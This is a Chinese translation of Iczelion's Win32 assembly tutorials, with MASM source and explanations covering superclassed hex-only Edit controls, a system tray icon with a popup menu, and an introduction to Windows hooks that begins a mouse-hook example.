hInstance dd ?
hwndEdit dd 6 dup(?) ；存放6个窗口句柄的数组
OldWndProc dd ? ；原来的窗口过程

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE+WS_EX_CONTROLPARENT,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,220,NULL,NULL,\
hInst,NULL
mov hwnd,eax

.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL wc:WNDCLASSEX
.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc
push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass
invoke RegisterClassEx, addr wc
xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
；处理字符0~9，A~F，a~f，这几个十六进制数
.if al>="a" && al<="f"
sub al,20h
如果是字符a~f，则把它们变为大写
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

分析

这个程序创建了一个在其客户区有六个被修改的 Edit 控件的简单窗口，这些 Edit控件只接受十六进制的数字。实际上，这个例子是通过修改窗口了类化的例子得来的。这个程序开始和其它程序一样，有趣的部分出现在主窗口被创建的时候：

.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc

必须用想进行超类化操作的类数据填充 WNDCLASSEX 结构，在我们的例子中就是类 Edit ，记住在调用函数 GetClassInfoEx 之前必须填写成员 cbSize，否则函数调用 GetClassInfoEx不会在 WNDCLASSEX 结构中填入正确的返回值。成功返回后，变量 wc中保存的就是想要创建一个新类所需要的所有信息。

push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass

现在必须修改变量 wc 的一些属性：第一个要修改的就是指向窗口过程的指针。因为在新窗口过程中函数 CallWindowProx 要用到老窗口过程，因此得把它保存到一个变量中以便使用。这个技巧和在子类化中用到的一样，只不过不是调用 SetWindowLong 而是直接修改 WNDCLASSEX 结构罢了。接下来必须得为这个新类取个名字。

invoke RegisterClassEx, addr wc

当所有这些都完成时，注册这个新类就会得到一个具有旧类某些特征的新类了。

xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit

注册完新类就可以创建基于它的窗口了：
在上面的程序片断中，用寄存器 ebx 来保存已创建的窗口数目，用寄存器 edi 来保存窗口左上角的 y 坐标。创建一个新窗口时，把它的句柄保存在一个双字的数组中，当创建完所有的窗口后，设定输入焦点为所创建的第一个窗口。

这时已经有6个只能接受十六进制数字的 edit 窗口控件了，替换的窗口过程处理了字符过滤，这实际上和在子类化中的例子是一样的。但不必做子类化那些窗口的额外工作了。

在此程序中，通过使用 Tabs 键来在各个 Edit 控件中切换来使得这个程序更加有趣。一般来说，如果使用对话框，对话框管理器会处理好所有这些问题，即：
按下 Tabs 输入焦点切换到下一个控件窗口中，按下 Shift-Tabs 输入焦点切换到上一个控件窗口中；但一个简单的窗口不具有这个功能，必须子类化它们以处理 Tabs 键。在这个例子中，不必一个一个去子类化已经进行过超类化操作的这些控件，可以使用一种集中控制切换策略。

.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret

上面是摘自于 EditWndClass 过程的程序片断，它检查用户是否按下了 Tabs 键，若是就调用函数 GetKeyState 来检查 SHIFT 键是否也被同时按下了。函数 GetKeyState 在寄存器 eax 中设立一个返回值，用于判断某个特定的键是否被按下了，若按下了，则把 eax 的的最高位置1，否则把最高位清0。所以只要用 80000000h 来测试返回值就行了，若最高位是1则说明用户按下了 SHIFT-Tabs，这需要单独处理；否则说明只按下 Tabs 键，调用函数 GetWindow 来获得 hEdit 所指向窗口的下一个窗口句柄，若该函数返回 NULL ，说明这是当前窗口是窗口链中最后一个窗口了，应该通过以参数 GW_HWNDFIRST 调用函数 GetWindow 来卷回到窗口链中的第一个窗口控件。SHIFT-Tabs 的处理过程和这正好相反。

翻译：ZhangJun，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第二十三课 系统托盘中的快捷图标

本课中，我们将学习如何把小图标放到系统托盘中去以及如何创建和使用弹出式菜单。

理论：

系统托盘是指任务条中的一个方形区域，在该区域中可以放入一些小图标，通常您可以在此处看到系统提供的最新时间。您自己当然也可以把快捷小图标放到此处。下面是这么做的步骤：
  1. 设置NOTIFYICONDATA型的结构体变量的成员变量的值：
    • cbSize 该结构体的大小。
    • hwnd 窗口的句柄。当鼠标滑过该小图标时，该窗口将接收到相关的消息。
    • uID 小图标的ID号。您可以取任意值，只是当您的应用程序有不止一个小图标时，您要能够区分出到底是那一个小图标接收到了鼠标的消息，也即ID号必须唯一。
    • uFlags 指定该结构体变量的那些成员变量有效。
      • NIF_ICON 有效。
      • NIF_MESSAGE 有效。
      • NIF_TIP 有效。
    • uCallbackMessage 自定义的消息。当鼠标对小图标动作时，WINDOWS外壳将把该消息发送到您的应用程序。该消息的值您可以自己定义。
    • hIcon 放入系统托盘中的图标的句柄。
    • szTip 64字节的缓冲区，它用来放入提示字符串，当鼠标停留在小图标上时，就会显示该字符串。
  2. 调用Shell_NotifyIcon函数。该函数在shell32.inc中定义，其原型如下：

    Shell_NotifyIcon PROTO dwMessage:DWORD ,pnid:DWORD

    dwMessage 是发送到WINDOWS外壳的消息：
    NIM_ADD 把小图标加到系统托盘区。
    NIM_DELETE 从系统托盘中删除小图标。
    NIM_MODIFY 修改小图标。
    pnid 是指向NOTIFYICONDATA型结构体变量的指针。
    如果您想要加入一个小图标就用NIM_ADD，删除时使用NIM_DELETE消息。

基本上的消息就是这些。但是大多数的情况下，您不会仅仅满足把一个小图标放到那里。您还必须要对鼠标事件作出适当的反应。您可以在NOTIFYICONDATA型的结构体变量的成员变量uCallbackMessage 中设置您要处理的消息，然后WINDOWS外壳将在发生这些事件时通知您的应用程序。随着消息传送的参数wParam和lParam的值如下：
  • wParam 小图标的ID号。它和您在NOTIFYICONDATA型结构体变量中的成员变量uID中设置的值一样。
  • lParam 低字包含鼠标消息。譬如，用户在小图标上按下了右键时，lParam中将包含WM_RBUTTONDOWN消息。
大多数的系统托盘中的小图标，在用户用鼠标右击时都会弹出一个菜单以方便用户选择。我们可先创建菜单，然后调用TrackPopupMenu函数来显示它。步骤如下：
  1. 调用CreatePopupMenu函数来创建菜单。该函数创建一个空的菜单。如果成功，将在eax中返回该菜单的句柄。
  2. 调用AppendMenu, InsertMenu 或 InsertMenuItem来向菜单中加入菜单项。
  3. 当您想在当前鼠标位置显示该菜单时，调用GetCursorPosition函数来得到鼠标当前的屏幕位置，然后调用TrackPopupMenu来显示菜单。当用户从弹出式菜单中选择了一个菜单项时，WINDOWS将发送WM_COMMAND消息给您应用程序的消息处理过程，这和通常的菜单选择是一样的。.
注意：当您使用系统托盘中的小图标时有两件比较讨厌的事：
  1. 该菜单可能不会像通常那样马上消失掉。这是因为从弹出式接收消息的窗口必须是前景窗口。调用SetForegroundWindow函数就可以纠正该错误;
  2. 在调用了SetForegroundWindow函数后，您会发现第一次该弹出式菜单会正常弹出而且工作的很好。但是随后，该菜单只是一弹出就立即消失。根据MSDN，这么做是故意的。为了使得弹出菜单保持住，必须要求下一个切换到的是程序的主窗口。您可以通过邮寄任何消息给该程序的窗口来强行进行任务切换。注意要使用PostMessage而不是SendMessage。

例子：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib

WM_SHELLNOTIFY equ WM_USER+5
IDI_TRAY equ 0
IDM_RESTORE equ 1000
IDM_EXIT equ 1010
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "TrayIconWinClass",0
AppName db "TrayIcon Demo",0
RestoreString db "&Restore",0
ExitString db "E&xit Program",0

.data?
hInstance dd ?
note NOTIFYICONDATA <>
hPopupMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW or CS_DBLCLKS
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL pt:POINT
.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString
.elseif uMsg==WM_DESTROY
invoke DestroyMenu,hPopupMenu
invoke PostQuitMessage,NULL
.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif
.endif
.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

end start

分析：

该程序将显示一个简单的窗口。当您按下最小化按钮时，该窗口将隐藏，然后放一个小图标到系统托盘中。当您双击小图标时，应用程序将恢复自己，并把小图标从系统托盘中删除。当您右击小图标时，会显示一个弹出式菜单。您可以在菜单中选择是恢复窗口还是退出应用程序。

.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString

当主窗口创建时，将会创建一个弹出式菜单，并且加入两个菜单项。 AppendMenu的语法如下：

AppendMenu PROTO hMenu:DWORD, uFlags:DWORD, uIDNewItem:DWORD, lpNewItem:DWORD
  • hMenu 是将要加入菜单项的菜单的句柄。
  • uFlags 告诉WINDOWS要加入的菜单项是位图、字符串或自画的项目以及是可用、不可用或灰色显示等。您可以从WIN32 API 指南中得到全部的标志位的信息。在我们的例子中使用标志位MF_STRING，它表示我们加入的菜单项是字符串。
  • uIDNewItem 是菜单项的ID号。这是一个用户自定义的值，它用来唯一地代表菜单项。.
  • lpNewItem 用来指定菜单项的内容，具体代表什么取决于uFlags中指定的标志。我们前面指定了MF_STRING标志，所以此处代表一个字符串
主窗口创建完成后，用户就可以开始测试了。这时按下最小化键。
当一个窗口被最小化时将接收到WM_SIZE消息，其中wParam参数中的值为SIZE_MINIMIZED。

.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif

这时我们来给NOTIFYICONDATA型结构体变量赋值。IDI_TRAY是在代码开始处定义的一个数值常量，您可以任意设定它的值。由于我们仅有一个图标，所以这一点并不重要，如果要同时加入几个系统图标的话，那么每个图标都要有一个唯一的ID号。由于我们指定了一个图标NIF_ICON，所以我们要在uFlags成员变量中指定所有的标志位，我们还指定了一个自定义的消息NIF_MESSAGE和帮助文本NIF_TIP。 WM_SHELLNOTIFY 被定义为WM_USER+5，只要是唯一的值，就无所谓是多少了，只要大于WM_USER。我们这里用的是WINDOWS登录时的图标，当然您可以使用任意您想要用的图标，您可以用LoadIcon函数从资源中装载，该函数返回一个图标的句柄。最后我们在szTip中放入当鼠标放在图标时显示的提示文本。为了达到“最小化然后只显示图标的效果”，我们在这时隐藏掉主窗口。
接下来，我们调用Shell_NotifyIcon函数并指定标志位NIM_ADD把图标加到系统托盘中去。

现在我们的主窗口隐藏了，图标显示在系统托盘中。如果您让鼠标从图标上滑过，将看到提示文本。如果您双击小图标，主窗口就会显示，图标将消失。

.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif

当在系统托盘中的图标发生鼠标事件时，您的窗口将接收到WM_SHELLNOTIFY消息，该消息是在uCallbackMessage成员变量中指定的。在接收到该消息时，wParam中包含了图标的ID号，lParam中包含了鼠标动作的原始数据。在上面的代码中，我们首先检测是否是我们感兴趣的消息。如果是的话，我们在看看是什么消息。因为我们只对右击和双击事件感兴趣，所以我们仅仅处理WM_RBUTTONDOWN和WM_LBUTTONDBLCLK消息。
如果是WM_RBUTTONDOWN，我们调用GetCursorPos来得到鼠标光标所在的当前屏幕位置。注意我指的是屏幕位置，即，其坐标是相对于整个的屏幕的。譬如，如果屏幕的解析读640*480，那么它的右下角的坐标是x==639 ，y==479。如果您想要把屏幕位置转换成窗口的坐标，可以调用ScreenToClient函数
我们想要在当前的位置显示弹出式菜单，我们就调用TrackPopupMenu函数，该函数需要屏幕的坐标，由GetCursorPos函数返回的坐标就可以原封不动的拿过来用。
TrackPopupMenu的原型如下：

    TrackPopupMenu PROTO hMenu:DWORD, uFlags:DWORD, x:DWORD, y:DWORD, nReserved:DWORD, hWnd:DWORD, prcRect:DWORD
  • hMenu 是弹出式菜单的句柄。
  • uFlags 功能的选择。像在哪里放置（相对于随后将指定的坐标）菜单，那一个鼠标按钮用来跟踪弹出式菜单。在我们的例子中，我们用TPM_RIGHTALIGN标志位来指定弹出式菜单放在坐标的左边。
  • x 和 y 指定放置菜单的屏幕坐标。
  • nReserved 必须为NULL。
  • hWnd 是将要接收消息的窗口的句柄。
  • prcRect 指定一个矩形区域。如果在该矩形区域外面按下鼠标的话，菜单将消失。一般我们把该值设为NULL，这样当用户只要在菜单外面按下鼠标，菜单立即消失。

当用户双击图标时，我们给我们自己的窗口发送WM_COMMAND消息，并指定消息为IDM_RESTORE，这样可以达到和在弹出式菜单中选择“Restore”菜单项同样的效果。为了能够接收到双击消息，主窗口必须要有的CS_DBLCLKS 风格。

invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif

当用户选择恢复主窗口时，我们调用Shell_NotifyIcon函数来删除掉系统托盘中的图标，这一次我们要指定NIM_DELETE消息。接下来我们把主窗口恢复到原始的状态。如果用户选择了Exit菜单项，我们不但把图标给删除掉，也从整个的应用程序中退出。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第二十四课 WINDOWS钩子函数

本课中我们将要学习WINDOWS钩子函数的使用方法。WINDOWS钩子函数的功能非常强大，有了它您可以探测其它进程并且改变其它进程的行为。

理论：

WINDOWS的钩子函数可以认为是WINDOWS的主要特性之一。利用它们，您可以捕捉您自己进程或其它进程发生的事件。通过“钩挂”，您可以给WINDOWS一个处理或过滤事件的回调函数，该函数也叫做“钩子函数”，当每次发生您感兴趣的事件时，WINDOWS都将调用该函数。一共有两种类型的钩子：局部的和远程的。
  • 局部钩子仅钩挂您自己进程的事件。
  • 远程的钩子还可以将钩挂其它进程发生的事件。远程的钩子又有两种：
    • 基于线程的 它将捕获其它进程中某一特定线程的事件。简言之，就是可以用来观察其它进程中的某一特定线程将发生的事件。
    • 系统范围的 将捕捉系统中所有进程将发生的事件消息。
安装钩子函数将会影响系统的性能。监测“系统范围事件”的系统钩子特别明显。因为系统在处理所有的相关事件时都将调用您的钩子函数，这样您的系统将会明显的减慢。所以应谨慎使用，用完后立即卸载。还有，由于您可以预先截获其它进程的消息，所以一旦您的钩子函数出了问题的话必将影响其它的进程。记住：功能强大也意味着使用时要负责任。
在正确使用钩子函数前，我们先讲解钩子函数的工作原理。当您创建一个钩子时，WINDOWS会先在内存中创建一个数据结构，该数据结构包含了钩子的相关信息，然后把该结构体加到已经存在的钩子链表中去。新的钩子将加到老的前面。当一个事件发生时，如果您安装的是一个局部钩子，您进程中的钩子函数将被调用。如果是一个远程钩子，系统就必须把钩子函数插入到其它进程的地址空间，要做到这一点要求钩子函数必须在一个动态链接库中，所以如果您想要使用远程钩子，就必须把该钩子函数放到动态链接库中去。当然有两个例外：工作日志钩子和工作日志回放钩子。这两个钩子的钩子函数必须在安装钩子的线程中。原因是：这两个钩子是用来监控比较底层的硬件事件的，既然是记录和回放，所有的事件就当然都是有先后次序的。所以如果把回调函数放在DLL中，输入的事件被放在几个线程中记录，所以我们无法保证得到正确的次序。故解决的办法是：把钩子函数放到单个的线程中，譬如安装钩子的线程。
钩子一共有14种，以下是它们被调用的时机：
  • WH_CALLWNDPROC 当调用SendMessage时
  • WH_CALLWNDPROCRET 当SendMessage的调用返回时
  • WH_GETMESSAGE 当调用GetMessage 或 PeekMessage时
  • WH_KEYBOARD 当调用GetMessage 或 PeekMessage 来从消息队列中查询WM_KEYUP 或 WM_KEYDOWN 消息时
  • WH_MOUSE 当调用GetMessage 或 PeekMessage 来从消息队列中查询鼠标事件消息时
  • WH_HARDWARE 当调用GetMessage 或 PeekMessage 来从消息队列种查询非鼠标、键盘消息时
  • WH_MSGFILTER 当对话框、菜单或滚动条要处理一个消息时。该钩子是局部的。它时为那些有自己的消息处理过程的控件对象设计的。
  • WH_SYSMSGFILTER 和WH_MSGFILTER一样，只不过是系统范围的
  • WH_JOURNALRECORD 当WINDOWS从硬件队列中获得消息时
  • WH_JOURNALPLAYBACK 当一个事件从系统的硬件输入队列中被请求时
  • WH_SHELL 当关于WINDOWS外壳事件发生时，譬如任务条需要重画它的按钮.
  • WH_CBT 当基于计算机的训练(CBT)事件发生时
  • WH_FOREGROUNDIDLE 由WINDOWS自己使用，一般的应用程序很少使用
  • WH_DEBUG 用来给钩子函数除错
现在我们知道了一些基本的理论，现在开始讲解如何安装/卸载一个钩子。
要安装一个钩子，您可以调用SetWindowHookEx函数。该函数的原型如下：
SetWindowsHookEx proto HookType:DWORD, pHookProc:DWORD, hInstance:DWORD, ThreadID:DWORD
  • HookType 是我们上面列出的值之一,譬如： WH_MOUSE, WH_KEYBOARD
  • pHookProc 是钩子函数的地址。如果使用的是远程的钩子，就必须放在一个DLL中，否则放在本身代码中
  • hInstance 钩子函数所在DLL的实例句柄。如果是一个局部的钩子，该值为NULL
  • ThreadID 是您安装该钩子函数后想监控的线程的ID号。该参数可以决定该钩子是局部的还是系统范围的。如果该值为NULL，那么该钩子将被解释成系统范围内的，那它就可以监控所有的进程及它们的线程。如果您指定了您自己进程中的某个线程ID 号，那该钩子是一个局部的钩子。如果该线程ID是另一个进程中某个线程的ID，那该钩子是一个全局的远程钩子。这里有两个特殊情况：WH_JOURNALRECORD 和 WH_JOURNALPLAYBACK总是代表局部的系统范围的钩子，之所以说是局部，是因为它们没有必要放到一个DLL中。WH_SYSMSGFILTER 总是一个系统范围内的远程钩子。其实它和WH_MSGFILTER钩子类似，如果把参数ThreadID设成0的话，它们就完全一样了。
如果该函数调用成功的话，将在eax中返回钩子的句柄，否则返回NULL。您必须保存该句柄，因为后面我们还要它来卸载钩子。
要卸载一个钩子时调用UnhookWidowHookEx函数，该函数仅有一个参数，就是欲卸载的钩子的句柄。如果调用成功的话，在eax中返回非0值，否则返回NULL。
现在您知道了如何安装和卸载一个钩子了，接下来我们将看看钩子函数。.
只要您安装的钩子的消息事件类型发生，WINDOWS就将调用钩子函数。譬如您安装的钩子是WH_MOUSE类型，那么只要有一个鼠标事件发生时，该钩子函数就会被调用。不管您安装的时那一类型钩子，钩子函数的原型都时是一样的：
    HookProc proto nCode:DWORD, wParam:DWORD, lParam:DWORD
    • nCode 指定是否需要处理该消息
    • wParam 和 lParam 包含该消息的附加消息
HookProc 可以看作是一个函数名的占位符。只要函数的原型一致，您可以给该函数取任何名字。至于以上的几个参数及返回值的具体含义各种类型的钩子都不相同。譬如：
WH_CALLWNDPROC
  • nCode 只能是HC_ACTION，它代表有一个消息发送给了一个窗口
  • wParam 如果非0，代表正被发送的消息
  • lParam 指向CWPSTRUCT型结构体变量的指针
  • return value: 未使用，返回0
WH_MOUSE
  • nCode 为HC_ACTION 或 HC_NOREMOVE
  • wParam 包含鼠标的事件消息
  • lParam 指向MOUSEHOOKSTRUCT型结构体变量的指针
  • return value: 如果不处理返回0，否则返回非0值
所以您必须查询您的WIN32 API 指南来得到不同类型的钩子的参数的详细定义以及它们返回值的意义。这里还有一个问题需要注意：所有的钩子都串在一个链表上，最近加入的钩子放在链表的头部。当一个事件发生时，WINDOWS将按照从链表头到链表尾调用的顺序。所以您的钩子函数有责任把消息传到下一个链中的钩子函数。当然您可以不这样做，但是您最好明白这时这么做的原因。在大多数的情况下，最好把消息事件传递下去以便其它的钩子都有机会获得处理这一消息的机会。调用下一个钩子函数可以调用函数CallNextHookEx。该函数的原型如下：
CallNextHookEx proto hHook:DWORD, nCode:DWORD, wParam:DWORD, lParam:DWORD
  • hHook 时是您自己的钩子函数的句柄。利用该句柄可以遍历钩子链。
  • nCode, wParam and lParam 您只要把传入的参数简单传给CallNextHookEx即可。
请注意：对于远程钩子，钩子函数必须放到DLL中，它们将从DLL中映射到其它的进程空间中去。当WINDOWS映射DLL到其它的进程空间中去时，不会把数据段也进行映射。简言之，所有的进程仅共享DLL的代码，至于数据段，每一个进程都将有其单独的拷贝。这是一个很容易被忽视的问题。您可能想当然的以为，在DLL中保存的值可以在所有映射该DLL的进程之间共享。在通常情况下，由于每一个映射该DLL的进程都有自己的数据段，所以在大多数的情况下您的程序运行得都不错。但是钩子函数却不是如此。对于钩子函数来说，要求DLL的数据段对所有的进程也必须相同。这样您就必须把数据段设成共享的，这可以通过在链接开关中指定段的属性来实现。在MASM中您可以这么做：
/SECTION:<section name>, S
已初期化的段名是.data，未初始化的段名是.bss。`加入您想要写一个包含钩子函数的DLL，而且想使它的未初始化的数据段在所有进程间共享，您必须这么做：
link /section:.bss,S /DLL /SUBSYSTEM:WINDOWS ..........
S 代表该段是共享段。

例子：

一共有两个模块：一个是GUI部分，另一个是安装和卸载钩子的DLL。

;--------------------------------------------- 主程序的源代码部分--------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include mousehook.inc
includelib mousehook.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>

.const
IDD_MAINDLG equ 101
IDC_CLASSNAME equ 1000
IDC_HANDLE equ 1001
IDC_WNDPROC equ 1002
IDC_HOOK equ 1004
IDC_EXIT equ 1005
WM_MOUSEHOOK equ WM_USER+6

DlgFunc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
HookFlag dd FALSE
HookText db "&Hook",0
UnhookText db "&Unhook",0
template db "%lx",0

.data?
hInstance dd ?
hHook dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDLG,NULL,addr DlgFunc,NULL
invoke ExitProcess,NULL

DlgFunc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL hLib:DWORD
LOCAL buffer[128]:byte
LOCAL buffer1[128]:byte
LOCAL rect:RECT
.if uMsg==WM_CLOSE
.if HookFlag==TRUE
invoke UninstallHook
.endif
